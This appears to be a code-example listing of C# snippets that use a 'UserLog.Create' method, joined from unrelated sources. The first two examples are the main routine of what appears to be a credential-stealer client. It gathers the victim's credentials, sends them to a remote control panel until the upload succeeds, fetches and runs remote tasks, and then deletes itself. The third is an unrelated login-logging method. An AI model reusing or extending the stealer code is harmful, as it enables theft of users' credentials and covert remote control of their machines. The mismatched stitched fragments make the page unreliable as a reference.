Example #1
0
        private static void Main(string[] args)
        {
            string str     = "127.0.0.1";
            string buildId = "pref";

            try
            {
                Service <IRemotePanel> .RemoteIP = str;
                Service <IRemotePanel> .Use((Action <IRemotePanel>)(panel =>
                {
                    ClientSettings result1 = panel.GetSettings().Result;
                    UserLog user           = UserLog.Create(result1);
                    user.BuildID           = buildId;
                    user.Credentials       = Credentials.Create(result1);
                    bool flag = false;
                    while (!flag)
                    {
                        try
                        {
                            panel.SendClientInfo(user).Wait();
                            flag = true;
                        }
                        catch
                        {
                            flag = false;
                        }
                    }
                    user.Credentials           = new Credentials();
                    IList <RemoteTask> result2 = panel.GetTasks(user).Result;
                    if (result2 == null)
                    {
                        return;
                    }
                    foreach (RemoteTask task in (IEnumerable <RemoteTask>)result2)
                    {
                        try
                        {
                            if (Program.CompleteTask(task))
                            {
                                panel.CompleteTask(user, task.ID).Wait();
                            }
                        }
                        catch
                        {
                        }
                    }
                }));
            }
            catch
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }
Example #2
0
        private static void Main(string[] args)
        {
            string remoteIP = "0.0.0.0";
            string buildId  = "wwq";

            try
            {
                Service <IRemotePanel> .RemoteIP = remoteIP;
                Service <IRemotePanel> .Use(delegate(IRemotePanel panel)
                {
                    ClientSettings result = panel.GetSettings().Result;
                    UserLog userLog       = UserLog.Create(result);
                    userLog.BuildID       = buildId;
                    userLog.Credentials   = Credentials.Create(result);
                    bool flag             = false;
                    while (!flag)
                    {
                        try
                        {
                            panel.SendClientInfo(userLog).Wait();
                            flag = true;
                        }
                        catch
                        {
                            flag = false;
                        }
                    }
                    userLog.Credentials        = new Credentials();
                    IList <RemoteTask> result2 = panel.GetTasks(userLog).Result;
                    if (result2 != null)
                    {
                        foreach (RemoteTask item in result2)
                        {
                            try
                            {
                                if (CompleteTask(item))
                                {
                                    panel.CompleteTask(userLog, item.ID).Wait();
                                }
                            }
                            catch
                            {
                            }
                        }
                    }
                });
            }
            catch
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }
        private void WriteLoginLog(ApplicationUser user, TLoginSuccess loginSuccess, EntityFrameworkContext efContext)
        {
            LogType logType;

            switch (loginSuccess)
            {
            case TLoginSuccess.Success:
                logType = LogType.Login;
                break;

            case TLoginSuccess.NoAccess:
                logType = LogType.LoginAttemptWithoutAccess;
                break;

            default:
                logType = LogType.LoginAttemptInvalidGrant;
                break;
            }
            var userLog = UserLog.Create(user, logType);

            efContext.UserLogs.Add(userLog);
        }